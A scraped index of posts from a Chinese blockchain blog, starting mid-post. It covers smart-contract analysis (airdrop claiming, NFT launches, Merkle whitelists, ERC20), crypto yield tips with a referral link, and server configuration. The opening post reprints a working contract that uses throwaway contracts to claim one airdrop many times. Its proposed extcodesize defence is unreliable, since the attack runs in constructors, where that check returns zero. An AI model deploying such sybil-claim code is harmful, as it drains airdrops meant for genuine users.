require(balance\u0026gt;0,\u0026#39;Oh no\u0026#39;); airdrop(contra).transfer(receiver, balance); } } 值得注意的 前面提到这里的批量脚本只适用于没有验证EOA的，且每人人到可以claim 的项目，这里来担当度讨论一下，关于合约中的EOA的校验的方法。\n这里使用到 深入解析Solidity 里面的 3. 修補EtherDice的漏洞 这段落。solidity里面提供原生 extcodesize 操作符号来进行EOA 地址的验证\nassembly { size := extcodesize(addr) } 这里的extcodesize实际上是runtime 的bytecode 也就是运行时的 字节码，对合约地址 这里的 byte是 0。\n所以这里可以做出来下下面的验证方式，来进行 EOA地址的检测。\nfunction isHuman(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } return size == 0; } 后 至此，这个mutilclaim 的合约已经分析完毕了，总结起来就是创建合约使用合约地址来远程调用token的claim函数，之后再使用标准的 transfer 的函数来吧token汇集到sender。\n后面有实践的机会可以操作一波。\n附 附上全部的代码内容，完全拷贝自代码仓库\n// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; interface airdrop { function transfer(address recipient, uint256 amount) external; function balanceOf(address account) external view returns (uint256); function claim() external; } contract multiCall{ uint256 nonce = 1; function addressto(address _origin, uint256 _nonce) internal pure returns (address _address) { bytes memory data; if(_nonce == 0x00) data = abi.encodePacked(bytes1(0xd6), bytes1(0x94), _origin, bytes1(0x80)); else if(_nonce \u0026lt;= 0x7f) data = abi.encodePacked(bytes1(0xd6), bytes1(0x94), _origin, uint8(_nonce)); else if(_nonce \u0026lt;= 0xff) data = abi.encodePacked(bytes1(0xd7), bytes1(0x94), _origin, bytes1(0x81), uint8(_nonce)); else if(_nonce \u0026lt;= 0xffff) data = abi.encodePacked(bytes1(0xd8), bytes1(0x94), _origin, bytes1(0x82), uint16(_nonce)); else if(_nonce \u0026lt;= 0xffffff) data = abi.encodePacked(bytes1(0xd9), bytes1(0x94), _origin, bytes1(0x83), uint24(_nonce)); else data = abi.encodePacked(bytes1(0xda), bytes1(0x94), _origin, bytes1(0x84), uint32(_nonce)); bytes32 hash = keccak256(data); assembly { mstore(0, hash) _address := mload(0) } } function call(uint256 times) public { for(uint i=0;i\u0026lt;times;++i){ address to = addressto(address(this), nonce); new claimer(to, address(msg.sender)); nonce+=1; } } } contract claimer{ constructor(address selfAdd, address receiver){ address contra = address(0xbb2A2D70d6a4B80FA2C4d4Ca43a8525da430196c); airdrop(contra).claim(); uint256 balance = airdrop(contra).balanceOf(selfAdd); require(balance\u0026gt;0,\u0026#39;Oh no\u0026#39;); airdrop(contra).transfer(receiver, balance); } } ","date":"2022-04-30T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/11/multi_claim%E5%90%88%E7%BA%A6%E5%88%86%E6%9E%90/","tags":["blockchain","eth","smartcontract"],"title":"multi_claim 合约分析"},{"categories":["blockchain"],"contents":"前 从庖丁解牛说起，懂了刀法之后就要开了这头牛了。\n从区块链浏览器来看看 项目方的动作以及用户的东西还是很有意思的一件事情\n这里使用Legend Maps Adventurers (LMA) 这个项目，自己蛮喜欢的一个 NFT项目。是做的链上的像素地牢。\n这篇文章就简单的把这个NFT 的生命周期来分析一下。\n正文 正文顺序就是直接按照合约的交互顺序来进行分析。\ndeploy TX：0xc6520011946abdf7577a6224a12d663556c836dbfd71d6fa4f802b3e2f186619\n内容在Data字段，对应的是合约的编译后的 EVM操作码，实际上对应的就是合约。\nset Base URI TX: 0x511692fe76c4c6a325bc47edc7d464269405dd498be608e8fa0744bbf74c3c16\n在这里设置 NFT 的资源的BaseURI\nFunction: setBaseURI(string baseURI_) MethodID: 0x55f804b3 [0]: 0000000000000000000000000000000000000000000000000000000000000020 [1]: 0000000000000000000000000000000000000000000000000000000000000036 [2]: 697066733a2f2f516d5a45545459326f766541327669375a336f7038505a4c6d [3]: 614c54744d73437961623157786a5857664b78645a2f00000000000000000000 涉及到的函数是下面这部分\nfunction setBaseURI(string memory baseURI_) external onlyOwner { _tokenBaseURI = baseURI_; } 设置的 baseURI 解码出来之后是 是一个 ipfs 的存储链接\nipfs://QmZETTY2oveA2vi7Z3op8PZLmaLTtMsCyab1WxjXWfKxdZ/ 我们可以通过ipfs 的网关来进行访问\nhttps://ipfs.io/ipfs/QmZETTY2oveA2vi7Z3op8PZLmaLTtMsCyab1WxjXWfKxdZ 这里项目方犯了一个错误，BASE设置错误了，所以项目方里面用下面这比交易修改\nTX: 0x0379fddc8c43c35a3f7dd4403003cc44424e742f7aa0b9bf514c07702c21e1e2\nReserve 交易TX: 0x7f8962455056175e720abf68e8bd89a3ba468ec3ded33567ec9a20c239d103b7\n项目方调用合约来进行批量的NFT 预留。直接safemint 50个，到Owner自己的账户下。\nFunction: reserve(uint256 count) MethodID: 0x819b25ba [0]: 000000000000000000000000000000000000000000000000000000000000003 function reserve(uint256 count) external onlyOwner { _safeMint(msg.sender, count); } Set Root 因为NFT项目有 白名单机制存在，所以这里存在白名单的存在，这里设置的是验证用的默克尔根.\nTX: 0xe4bbbcb007714283b1b5f856182b92c721a2206a29eddadfc1f70436cce77bda\nFunction: setRoot(bytes32 _merkleRoot) MethodID: 0xdab5f340 [0]: 30f52ca24faeadfdd4ef012276e95ee9f2e4100f66ff1f3cb64b5b99331399b5 function setRoot(bytes32 _merkleRoot) external onlyOwner { merkleRoot = _merkleRoot; } 具体的白名单的验证机制可以参考前面那篇《浅析白名单校验原理》，这里就不多赘述了。\nToggle Whitelist 前面完成了Nft的前置工作，这里就需要用来打开NFT的销售了，函数体如下，对一个布尔型的变量来进行翻转。相关的函数在执行的前会对此变量进行检查。\nfunction toggleWhitelist() external onlyOwner { whitelistLive = !whitelistLive; } WitheListMint/Mint 往后就是白名单用户mint nft的过程了。Data 体如下\nFunction: whitelistMint(uint256 mintsRequested, uint256 maxMints, bytes32[] proof) MethodID: 0xc4be5b59 参数如下，白名单用户用来进行NFTmint。\n# Name Type Data 0 mintsRequested uint256 1 1 maxMints uint256 1 2 proof bytes32[] 0x81d11c76c7c32b2b50661fd8229ecf630931561d3d91a02f348922df10137d1d 0xc1a63c4382704770fe5934e02ff4eab858916d886a83e744ffb129eff8bcb671 0x8f59c0bfe3333c3cc061c7aa14a5b6ad084ef17aebaaea58853a9c06c2fdece4 0x5a9b150be6f0b92b8a5d43bb6b6d18f8e212775a2091dc6a5f7a10dee0bee3e7 0xa933d009bf907da72c6d80b07542ee17dfcd9c45058ee26b90e03f764be136db 0x1d820661b4757898910f649713aa65187285ded6c806e05a059a9a76e9b6c363 0xa47e08712d386837163539eeef27ec99b09ec2ef7fe7c39b8367ab8ef8127a51 0x58d35888281d8a07d7c647bc7696bc64f0a3ef2a79f1f34beb2e4845a46b3f04 0xd70c5761a2ea2911a8bd3cadd5c5ae7c1098510826489534ba038c6d1f7be75b 0xe032926596c53e7b631faa7b32fdfb28b37f396dba911a78d6e51522419c57c6 0xd6578e7e17eed4cb89d5a926006dd5ac9a9d65c5d5eb39a4c83712a08e6b99fb 0x41016b9029d6a35712918df2c4bd8632204aea1dc33b75a28c1fe2531c49a5e1 proof 这里是用户的 默克尔路径，具体的验证方式还是在《浅析白名单校验原理》这个文章里说明。目前基本上都是标准的函数。函数体如下，在里面补充备注说明\nfunction whitelistMint(uint256 mintsRequested, uint256 maxMints, bytes32[] calldata proof) external payable { uint256 remainingMints = maxMints - whiteListPurchases[msg.sender]; // 检查mint是否进行 require(!saleLive \u0026amp;\u0026amp; whitelistLive, \u0026#34;WHITELIST_CLOSED\u0026#34;); // 检查默克尔路径 require(_verify(_leaf(msg.sender, maxMints), proof), \u0026#34;UNAUTHORIZED\u0026#34;); // mint逻辑 require(totalSupply() + mintsRequested \u0026lt;= LMA_SUPPLY, \u0026#34;EXCEEDS_SUPPLY\u0026#34;); require(LMA_PRICE * mintsRequested \u0026lt;= msg.value, \u0026#34;INSUFFICIENT_ETH\u0026#34;); require(mintsRequested \u0026lt;= remainingMints, \u0026#34;EXCEEDS_ALLOCATION\u0026#34;); require(remainingMints \u0026gt; 0, \u0026#34;MINTS_CONSUMED\u0026#34;); whiteListPurchases[msg.sender] += mintsRequested; _safeMint(msg.sender, mintsRequested); } function mint(uint256 mintsRequested) external payable { require(saleLive, \u0026#34;SALE_CLOSED\u0026#34;); require(!whitelistLive, \u0026#34;WHITELIST_ONLY\u0026#34;); require(LMA_PRICE * mintsRequested \u0026lt;= msg.value, \u0026#34;INSUFFICIENT_ETH\u0026#34;); require(totalSupply() + mintsRequested \u0026lt;= LMA_SUPPLY, \u0026#34;EXCEEDS_SUPPLY\u0026#34;); // mint 逻辑一致，去掉白名单验证逻辑 _safeMint(msg.sender, mintsRequested); } ERC721 Transfer 前面的过程完成了Nft的mint 过程。后面的的话就是用户侧的操作了，主要有 approve 和 转移。\nsetApprovalForAll safeTransferFrom 这里是 ERC721的标准函数，就不再这里展开分析了。\n后 通过分析一些链上的交互来学习链上原理还是蛮不错的过程，这样可以看清楚项目的链上运作流程，还有像是看到项目方操作失误这种有意思的事件。\n","date":"2022-04-29T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/04/erc721%E9%A1%B9%E7%9B%AE%E5%8F%91%E8%A1%8C%E5%88%86%E6%9E%90/","tags":["blockchain","eth","smartcontract"],"title":"ERC721项目发行分析"},{"categories":["crypto"],"contents":"前 在动荡市场下寻求点稳点的收益，原则有以下两条\n稳定币理财先追求追求稳定，再追求APY 不要让资金闲置，让他们去打工 前置观点，虽然个人觉得Defi的确是一个伟大的创新。但是在当前的环境下，我觉得Cefi 比 Defi 的安全性还是高些许\nCefi U本位 如果你不知道apy 是哪里来的，那么你就是apy\n交易所提供的收益\n交易所的杠杆交易，你是贷出方，赚利息 交易所搭建的某些项目节点staking，去哪staking 的年化 交易所收集资金来进行代理的链上Defi项目理财 在币安，OK 等交易所，都有部分限额的10%的年化可以拿下来。其他的可以兑换其他稳定币\nUSDC / USDT / TUSD \u0026hellip;\n币安提供了10% 的年化的 BUSD/USDT 但是只有 4000U 的额度。\n推荐 吴忌寒 家的 Matrixport ，一款专门做理财的APP。\n一个基于衍生品和各种策略的理财工具，U 目前有 5% 起步的收益。其中借贷/Defi/固收种类都有。\n还有推出的私募基金，很值得购买。\n我这里最喜欢的是他家的双币产品，使购买BTC-U/ETH-U 来实现20%左右的年华。但是实际上的操作是 sell PUT来实现，有一定的风险。但是我认为以30%跌幅后的价钱来进行抄底。还是可以接受的。\n使用我这里的推广链接可以领 21U：\nMatrixport Link DEFI 回顾下前面的原则，稳定为先。所以这里只推荐成熟项目，经过时间检验的Defi 项目，才是好项目。\nCurve 提供稳定币的兑换服务AMM，提供LP收取交易抽成 APY 4% Aave 提供借贷服务，项目方赚取利息差，贷出方收利息 APY 3% Compound 同样提供借贷服务 APY 3% yearn 收益聚合器 机枪池的方式来在协议之间提供流动性 APY 2.8% （虽然Defi是革命性的技术，但是在现阶段其安全性以及实用性还是大幅低于Cefi）\n","date":"2022-04-27T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/04/%E6%97%A9%E9%80%80%E4%BC%91%E8%A2%AB%E5%8A%A8%E6%94%B6%E5%85%A5--cefi-u%E7%90%86%E8%B4%A2/","tags":["理财","defi","crypto","早退休被动收入"],"title":"早退休被动收入--Cefi U理财"},{"categories":["blockchain"],"contents":"简明教程 找到对应地址\n可以先试用页面触发小狐狸的审批页面，之后找对应的地址。\n浏览器查看合约交互\nnft 项目一般都是 mint 的方法的调用。在交易详情的advance里面看到decode 之后的内容，一般是合约的方法名和参数\n看合约代码\n直接找到 调用的mint 函数的定义内容，检查其逻辑。\n构造调用参数，进行合约交互\n实践记录 以下面的合约为例子。\nhttps://polygonscan.com/address/0x3a67c34c7dbd846108044fed38a3154b99a97cb1\n看到有大量的Mint 调用，在advence查看调用内容，如下\nFunction: mint(uint256 amount, uint256 timeout) *** MethodID: 0x1b2ef1ca [0]: 0000000000000000000000000000000000000000000000000000000000000001 [1]: 000000000000000000000000000000000000000000000000000000000001c378 这里主要是看解码出来的 Functiin name，这里的参数不一定百分百准确，因为是使用 字典来进行解码的。\n这里推荐使用 4byte来进行方法名解码。有比较强大的 DB\nhttps://www.4byte.directory/signatures/?bytes4_signature=0x1b2ef1ca\n我们可以看到解码的内容是。\nID Text Signature Bytes Signature 167720 mint(uint256,uint256) 0x1b2ef1ca 在其公布的sol code的 RaremintsERC721 里面我们可以找到mint的定义：\nfunction mint(uint256 num, uint256 metadata) public payable { uint256 supply = totalSupply(); require( !_paused, \u0026#34;Sale paused\u0026#34; ); require( supply + num \u0026lt;= _supply - _reserved, \u0026#34;Exceeds maximum supply\u0026#34; ); require( msg.value \u0026gt;= _price * num, \u0026#34;Ether sent is not correct\u0026#34; ); for(uint256 i; i \u0026lt; num; i++){ performMint(msg.sender, supply + i, metadata); } } 可以看到 ：\npayable num metadata 这里第三个request就看出来我们的payable需要达到单价以上。在这里price 设置的是 0.5matic 所以我们这里就保持1:0.5 的数量价格比。另外一个参数是 metadata，这里 performMint用到了这个参数，其函数内容如下。\nfunction performMint(address _to, uint256 _tokenId, uint256 _metadata) private { _safeMint(_to, _tokenId); emit MintEvent(_to, _tokenId, _metadata); } 我们可以看到，这里只是在 emit 事件的时候用到了这个 metadata，其他地方没有，所以这里意味着我们可以进行自定义。\n综上 构建出参数 ，使用 write Contract 来进行交互。\n找到 mint 函数，参数如下\nPayable: 1.5 matic Num: 3 Metadata: 0000（任意） 点击 Write 写合约 ，完成交互过程。简单轻松\n后 从简单的流程分析来切入智能合约的路子上\n","date":"2022-04-26T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/04/nft%E5%90%88%E7%BA%A6%E7%BA%A7mint%E5%AE%9E%E8%B7%B5/","tags":["blockchain","eth","smartcontract"],"title":"NFT合约级mint实践"},{"categories":["misc"],"contents":"前 为啥叫迁移2.0呢，前一次从云上迁移到了本地的渣渣服务器。但是前段时间 wire guard被运营商砍了。内网组网出了问题。\n新的那网使用 ZeroTier 来进行构建，但是速度和稳定性上的确不佳。\n最近blog 更新的少，因为还是觉得 wp 这一套太重了，MD 支持也不好，所以体验不如意。挺久一段时间都没更新的。\n慢慢又想回归之前的 hexo 的静态时代了。但是之前的blog 还是要保持维护，所以就想想了折衷方案，两套来一起维护\n所以现在有下面的几个站点\nblog.12ms.xyz blog2.12ms.xyz ipfs.blog.12ms.xyz icp.blog.12ms.xyz 分别是动态站，vercal托管静态站，Fleek 托管IPFS 静态站，Fleek icp 托管静态站。 后面两个纯属为了用上高科技凑热闹 hhh\n文章发布的话，用MD来编写，使用rpc 来同步发布到动态站点。 写了小工具来进行一键发布，挺省事。\n这篇主要是记录一下操作的过程，收集一下期间的内容\n过程 wordpress 文章导出以及处理 这个工具可以非常好的实现迁移过程简单方便质量不错，看可以直接从 wp 的xml 备份的文件里面，来提取出基本完美的 Markdown 文件。\nhttps://kevq.uk/how-to-convert-wordpress-to-markdown/\n使用Hugo 来进行部署 这里就很简单，不多描述了，没遇上什么问题\n这里有一个代码高亮配置列表 可以用来自己调整样式\nhttps://help.farbox.com/pygments.html\n博客主题大全\nhttps://jamstackthemes.dev/theme/\n另外，hugo 的搜索是比较大难题，这里偷懒用了别人改好的框架PaperMod，这个带了lunar 的离线搜索。还算好用。\n","date":"2022-04-23T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/04/%E5%8D%9A%E5%AE%A2%E8%BF%81%E7%A7%BB/","tags":["blog"],"title":"博客迁移2.0"},{"categories":["blockchain"],"contents":"ETH 上的GAS 不是欢乐豆\n这篇文章来在于一个群中的一次关于一个项目的大讨论。\n一个NFT项目 mint 的成本异常的高。售价是 0.01 但是实际上mint 的 gas 在 0.1+@75gwei的情况下。 网络并不繁忙。\n项目的合约地址在下面\nhttps://etherscan.io/address/0x99a8e1cc829d6b33dc37851466c360e08757a0ae\n在 MonkeyPoly.sol 的69~76段。可以看到一个白名单校验的函数。这里存在着一个循环结构。我们知道ETH上的计算是需要gas的，所以这里的一个对白名单列表的遍历。就是调用高gas的元凶。\nfunction isWhitelisted(address _user) public view returns (bool) { for (uint i = 0; i \u0026lt; whitelistedAddresses.length; i++) { if (whitelistedAddresses[i] == _user) { return true; } } return false; } 而在另一段代码里面我们看到了写入白名单的地方\nfunction whitelistUsers(address[] calldata _users) public onlyOwner { delete whitelistedAddresses; whitelistedAddresses = _users; } 这里项目方直接把地址列表给导入了进去，通过传参的方式。十分的生猛。\n这里的gas 消耗，可以参考下文，记录了每个evm操作符消耗的 gas 情况。对上面的来进行一个估算。\n以太坊的存储成本_跨链技术践行者-CSDN博客\nevm-opcode-gas-costs/opcode-gas-costs_EIP-150_revision-1e18248_2017-04-12.csv at master · djrtwo/evm-opcode-gas-costs\n所以在这里，项目方付出了巨大的存储成本。 用户付出了巨大的gas 成本。矿工窃喜。\nhttps://etherscan.io/address/0x99a8e1cc829d6b33dc37851466c360e08757a0ae\n具体的mint 成本，可以在这里里面看到，很多都是 out of gas 导致交易被 Reverted了. 真的ETH 就是欢乐豆了呗。\n优雅的做法 合约里的实现 在一般项目的白名单机制中普遍使用默克尔树来实现。\n简单讲计算所有白名单钱包地址得到默克尔树的Root hash。\n在合约中只需要存储Root hash值，在调用mint函数时页面上的JS代码基于钱包地址生成proof路径（地址的上级父节点hash），合约就可以校验该地址是否属于白名单。\n这里使用 https://etherscan.io/address/0x6fd053bff10512d743fa36c859e49351a4920df6#code\n这个项目的代码为例子。选取部分的nft预售的代码，内容如下，可见这里对于预售的调用做了 merkleProof 的判断。来验证是否是白名单用户。比那个 循环实现要好上太多。\n// 预售代码 function mintNFTDuringPresale( uint256 _numOfTokens, bytes32[] memory _proof ) public payable { require(isActive, \u0026#39;Sale is not active\u0026#39;); require(isPresaleActive, \u0026#39;Whitelist is not active\u0026#39;); require(verify(_proof, bytes32(uint256(uint160(msg.sender)))), \u0026#34;Not whitelisted\u0026#34;); // ... verify 的函数实现代码如下\n// Verify MerkleProof function verify(bytes32[] memory proof, bytes32 leaf) public view returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i \u0026lt; proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash \u0026lt;= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = sha256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = sha256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } Dapp 中的实现 前面提到，在使用默克尔树进行验证 的情况下，在合约中只需要保存一个 默克尔根。由用户在前端提供 proof 来证明自己在 默克尔树中。默克尔树这一个结构是比较熟悉的了。下面给出简单的结构。数据在 最终的block中，进行hash 之后得到叶子，叶子再进行hash 之后得到父节点，最终得到一个 Root hash。位于树上叶节点正上方的每个父节点最多只能培养两个叶节点。如果存在奇数个叶节点，则父节点将培育一个叶节点。\n当白名单的地址是恒定且已知的话，就可以使用 merkle tree 的结构来把数据构造出来。下面给出引用的代码片段，下面是 使用 merkletreejs和keccak256 来实现的 默克尔树的构建。\n最终的运行结果如下图\nMerkle Tree 的独创性点在于它不需要任何原始数据来验证节点是否存在于树中。只需要知道直接相邻叶节点哈希（如果有的话）和直接在叶节点上方的相邻父节点哈希。所以这一段称之为 默克尔路径。\n所以，我们会最终得到一个类似这样的 默克尔路径。\nMerkle Proof for Address 0x7b6217492d5B7088A8b7adE75364F289Caa1A0Fe [ \u0026#39;Oxd7a3faaaa893aa663f894f29aae4851e028b4ffa394e825816b5cb3b163b20ce\u0026#39; \u0026#39;0x6dcecbf773ecd9d6a2dffe343430bdb01d2d1efcc872e072201ffcd0133adeb0\u0026#39; \u0026#39;0x3cc09b3073afe3acf80dc067d2b5b4672dc055430f1cf45bf155e6eeb36ec010\u0026#39; ] 回到上面的合约的校验代码，如果如果我提供的 proof 可以通过校验，那么我就可以证明我是存在这个原始列表中。交易不会被require 终止。\n小结 到这里可以看到，使用默克尔树的方法在 EVM 上的实现，比使用循环来进行地址校验的方式优雅太多，只需要简单的几次hash 操作就可以完成校验，而且项目方更新白名单也可以简单的通过修改默克尔树的方式来实现。\n更具体的实现细节可以看这篇 medium\nUsing Merkle Trees for NFT Whitelists\n另一个问题 对于已知白名单的项目我们可以直接使用 默克尔书的方式来进行验证。但是像是 stopdao 这种项目。对于每一个参与OS 的人都可以获得空投。项目方不可能或者说很难获得全部的交互过的用户地址。怎么处理呢。\n见到来说，这一类 我称之为 土DAO的原理是：后端私钥签名，合约公钥验证。当然这种方式的问题也先提出来：项目方有私钥在手，可以随随便便的签。所以理论上是无限量增发的。\n我们可以使用 SOS 的代码来进行分析。在Claim函数中我们可以看到最后一个 require\nfunction claim(uint256 amountV, bytes32 r, bytes32 s) external { uint256 amount = uint248(amountV); uint8 v = uint8(amountV \u0026gt;\u0026gt; 248); uint256 total = _totalSupply + amount; require(total \u0026lt;= MAX_SUPPLY, \u0026#34;OpenDAO: Exceed max supply\u0026#34;); require(minted(msg.sender) == 0, \u0026#34;OpenDAO: Claimed\u0026#34;); // 这里得到提交的数据指纹 bytes32 digest = keccak256(abi.encodePacked(\u0026#34;\\\\x19Ethereum Signed Message:\\\\n32\u0026#34;, ECDSA.toTypedDataHash(_domainSeparatorV4(), keccak256(abi.encode(MINT_CALL_HASH_TYPE, msg.sender, amount)) ))); // 这里对后端签出来的数据来进行验证，看看签名者是不是 cSinger 也就是项目作者。 require(ecrecover(digest, v, r, s) == cSigner, \u0026#34;OpenDAO: Invalid signer\u0026#34;); _totalSupply = total; _mint(msg.sender, amount); } 两行关键代码已经写在上面了，可以看到在这种方式是依靠 项目方在后端来进行的签名来实现对Claim数量的确定。问题就是没有公开性。依赖项目方来进行签名。\n总结 这篇文章，通过一个失败的例子来简单讲了一下 现在常用的白名单验证方式。后面拓展一下 土DAO 的白名单原理。有不正确的地方也欢迎大家指出。共同学习进步\n","date":"2022-02-07T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/02/2022-02-07-%E6%B5%85%E6%9E%90%E7%99%BD%E5%90%8D%E5%8D%95%E6%A0%A1%E9%AA%8C%E5%8E%9F%E7%90%86/","tags":["blockchain","defi","smart-contract"],"title":"浅析白名单校验原理"},{"categories":["blockchain"],"contents":"ERC20 标准，是ETH上的一种合约标准。固定了事件和对应的接口\ncontract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); string public constant name = \u0026#34;TEST Token\u0026#34;; string public constant symbol = \u0026#34;TST\u0026#34;; uint8 public constant decimals = 18; // 18 is the most common number of decimal places uint256 public _totalSupply; } 合约分为 函数和事件变量，三个部分，\n变量 变量在 contract 里面是全局的。定义了Token 的名称符号和精度。\n函数 totalSupply 可以看到函数部分，只是规定了接口名称。其中的实现逻辑就是开发者自行定义了。\n比如这里的totalSupply 就是一个可以自定义的函数，这里的返回逻辑可以是一个定值。 或者是一个自动Burn的逻辑。\nbalanceOf 这里的balanceOf，就要说到 ETH 的模型了。ETH 是账户模型，不是UTXO 的模型。所以这里的 balance 在合约里面是有状态的。地址和与余额之间有着对应的关系。\n// 这里保存着这个账户下的该Token的余额 mapping (address =\u0026gt; uint256) public balances // 这里是一个重要的授权额度，也就是允许 外层addr 操作 内层 addr 的该Token 的数量。 // 所以一般的 授权额度就是这里。 mapping (address =\u0026gt; mapping (address =\u0026gt; uint256)) public allowed 那么balanceOf这个就很好实现了，传入地址，返回地址在这个map 中的数量即可\nfunction balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } transfer 前面提到的 Token 实际上只是一个 账户的mapping，我们可以理解这个合约存储了每个人的账户以及余额。你的 Token 实际上只是这张合约里面的数据而已，实际上并没有进行转出。所以在这里的逻辑其实和在支付宝中进行转账一样。直接对db中的数据进行操作。\nfunction transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } 这里的msg.sender 是 保留字，实际上就是调用这个合约的账户（钱包 或者 另一个合约）\n可以通过代码看到，在sender 的账户上 减去一定数量的token， 接受转账的账户上再增加一定的数量。就完成了最简单的转账操作。如果想实现，收5% 的转账手续费这种逻辑的话，就直接在前面加上一行转给合约方的逻辑就好。\n所以这里实现的是本人向另一个账户来进行转账\n另外这里emit了 Transfer ，在转账逻辑中没有实际的功能。在这里是一个事件。\n详解Solidity事件Event - 完全搞懂事件的使用\n如果我们不emit 这个事件的话，实际上我们的逻辑是已经完成了。但是，如果我们想，把完成转账的事件让大家知道，那么这里就需要去emit 这该事件。\nvar infoContract = web3.eth.contract(ABI INFO); var info = infoContract.at(\u0026#39;CONTRACT ADDRESS\u0026#39;); // 这里的Transfer 是通过ABI 获取的 var transferEvent = info.Transfer(); // 这里进行事件的监听，如果触发了 Transfer 就执行 var transferEvent.watch(function(error, result){ // handle result.args.from result.args.to }); transferFrom 有了上面的Transfer 逻辑，这里的TransferFrom 也好理解了，其函数基本定义如下\nfunction transferFrom(address from, address to, uint tokens) public returns (bool success){ balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } 这里的逻辑比上面复杂一点，第一行是在from 的账户来减去转账的份额。这点很好理解。\n第二行稍稍复杂慢慢讲，刚刚前面提到来授权额度。\nallowed[from][msg.sender] 这里表示的是 From 账户对 sender（合约调用者）的授权额度，也就是说允许 sender 来对我这一部分钱来进行操作。\n所以这里有两个sub，一个是从From 账户中减去这一部分转账额，另一部分是从授权额度中减去from对该sender 的授权额度。（如果失败那么触发回滚，后面再讲）\n所以简单来说这部分实现的是一个委托转账的功能\n后面的就是换汤不换药的， To 账户增加对应的Token，触发Transfer 事件。\napprove 刚刚已经讲了授权额度的事情，就是 A允许B对自己的一部分Token 来进行操作。那么这里的approve 就是来进行这一部分授权的。\nfunction approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } 可以看到，两个参数一个是 被授权的地址，还有一个是 授权的 Token 份额。前面的委托转账的部分，就是需要在这里进行份额的扣除。\n同样的这里有 Approval 事件，用于通知Dapp，这里的动作完成。\nallowance 用于检查当前的授权额度，直接进行return来进行返回。\nfunction allowance(address _owner, address _spender) constant returns (uint256 remaining) { reutrn allowed[_owner][_spender] } totalBalance 这里返回总的调用量，经典的实现，就是直接返回 _totalSupply\nfunction totalSupply() public constant returns (uint) { return _totalSupply } 当然，这里拓展一下，除了协议的本身逻辑我们也可以进行自我拓展。\n比如我这里就可以搞一个增发的逻辑，之前的total 的数量不够。\nfunction mintToken(address target, uint256 mintedAmount) onlyOwner public { balances[target] += mintedAmount; _totalSupply += mintedAmount; emit Transfer(address(0), address(this), mintedAmount); emit Transfer(address(this), target, mintedAmount); } 后 过了五年的时间，又一次开始学习智能合约。科技如果不去发展它得到的不是停止不前，而是退步。\n上个世纪美国登上了月球，现在却上不去了。\n希望这次自己可以坚定的学下去。知道自己想要什么就很幸福。\n","date":"2022-01-18T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/01/2022-01-18-erc20-%E6%A0%87%E5%87%86%E5%86%8D%E5%AD%A6%E4%B9%A0/","tags":["blockchain","eth","smart-contract"],"title":"ERC20 标准再学习"},{"categories":null,"contents":"用了caddy2来作为web介入server，来作为自动的https提供和接入，这里记录一下配置。\n\u0026lt;host\u0026gt; { reverse_proxy /getvip_info 127.0.0.1:31198 { header_up -Origin header_up Connection Upgrade header_up Upgrade websocket } } \u0026lt;host\u0026gt; { log { output file /var/log/caddy/blog.log } reverse_proxy / 192.168.x.x:80 { } } \u0026lt;host\u0026gt; { log { output file /var/log/caddy/blog.log } reverse_proxy / 192.168.x.x:80 { } } \u0026lt;host\u0026gt;{ tls { dns cloudflare xxxx } log { output file /var/log/caddy/blog.log } reverse_proxy / 192.168.x.x:80 { } } import sites/* ","date":"2021-11-09T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2021/11/2021-11-09-caddy2-%E9%85%8D%E7%BD%AE%E7%AE%80%E4%BB%8B/","tags":null,"title":"Caddy2 配置简介"},{"categories":["op之路","玩点什么"],"contents":"服务器主机挑选\n联想workstation P500\n支持志强 e5 v3 CPU。\n虚拟化方案使用 esxi 来进行。\n如果esxi 盘还在，但是换机器了，如何再次挂载上去：\nhttps://blog.sailark.com/index.php/archives/72/\n内网穿透方案 传统来说就直接FRP 可以搞定了，但是觉得这个方案配置的时候还是比较繁琐。\n端到端的转发。\n所以干脆我们就直接把内网给接到服务器上来。再加上几条路由，来构建自己的混合云\nServer 端来进行 Wireguard 的安装。\nsudo yum install elrepo-release epel-release sudo yum install kmod-wireguard wireguard-tools wireguard 控制面板，直接docker-compose 跑起来没什么问题\n附上配置\nversion: \u0026#39;3.6\u0026#39; services: wg-gen-web-demo: image: vx3r/wg-gen-web:latest container_name: wg-gen-web-demo restart: unless-stopped ports: - \u0026#34;8080:8080\u0026#34; environment: - WG_CONF_DIR=/data - WG_INTERFACE_NAME=wg0.conf - SMTP_HOST=smtp.gmail.com - SMTP_PORT=587 - SMTP_USERNAME=no-reply@gmail.com - SMTP_PASSWORD=****************** - SMTP_FROM=Wg Gen Web \u0026lt;no-reply@gmail.com\u0026gt; #- OAUTH2_PROVIDER_NAME=fake - OAUTH2_PROVIDER_NAME=github - OAUTH2_PROVIDER=https://github.com - OAUTH2_CLIENT_ID=xxx - OAUTH2_CLIENT_SECRET=xxx - 